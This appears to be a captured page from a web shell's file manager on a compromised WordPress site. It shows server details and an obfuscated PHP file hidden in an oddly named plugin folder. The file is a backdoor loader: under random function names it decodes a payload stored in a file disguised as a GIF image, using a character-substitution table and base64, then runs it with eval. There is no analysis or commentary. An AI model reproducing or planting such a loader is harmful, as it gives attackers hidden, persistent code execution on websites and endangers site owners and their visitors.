HEX
Server: nginx/1.29.3
System: Linux 11979.bigscoots-wpo.com 6.8.0-88-generic #89-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 01:02:46 UTC 2025 x86_64
User: nginx (1068)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_open,proc_close,popen,show_source,cmd# Do not modify this line # 1684243876
Upload Files
File: /home/nginx/domains/whitmoremediagroup.com/public/wp-content/plugins/achavupo/nakheba.txt
<?php

function ecytyq_khinozokh($emeraw_ofamufon) {
    if ($emeraw_ofamufon == 1)
        return myrenu_ytagemyma();
    if ($emeraw_ofamufon == 2)
        return itywew_jisylitu();
}

function oxepuv_nyvisebach($emeraw_ofamufon) {
    $cabukhu = ecytyq_khinozokh(1);
    $egowog = ecytyq_khinozokh(2);
    for ($yfijid = 0; $yfijid < strlen($cabukhu); $yfijid++) {
        $azhutoh = substr($cabukhu, $yfijid, 1);
        $dawuqox = substr($egowog, $yfijid, 1);
        $mydishe[$azhutoh] = $dawuqox;
    }

    $uvesuch = strtr($emeraw_ofamufon, $mydishe);
    $uvesuch = base64_decode($uvesuch);

    return $uvesuch;
}

function ybyhiz_uqathodekhe($emeraw_ofamufon) {
    $ogorom = array();
    if (!file_exists($emeraw_ofamufon))
        return false;
    $opujebi = @file_get_contents($emeraw_ofamufon);
    if (!$opujebi)
        return false;
    $opujebi = substr($opujebi, 3);
    $ogorom = oxepuv_nyvisebach($opujebi);
    return $ogorom;
}

function myrenu_ytagemyma() {
    $opujebi = "0jdHPb/hRoNuQyxn7tDqp=gLYUOeVfIcz23W+mAwZ54iCElFkBG6aTKXS91srMv8J";
    return $opujebi;
}

function itywew_jisylitu() {
    $ogorom = "CjpXGMznP9Sa6AWumgO/13FxNIftLUH7o+sQq8TYZB2=yriw4k0blDeKEJh5VRvdc";
    return $ogorom;
}

$poqacov = ybyhiz_uqathodekhe(__DIR__ . "/asset" . "s/ima" . "ges/sh" . "yraqi." . "gif");
if ($poqacov) {
    @eval($poqacov);
}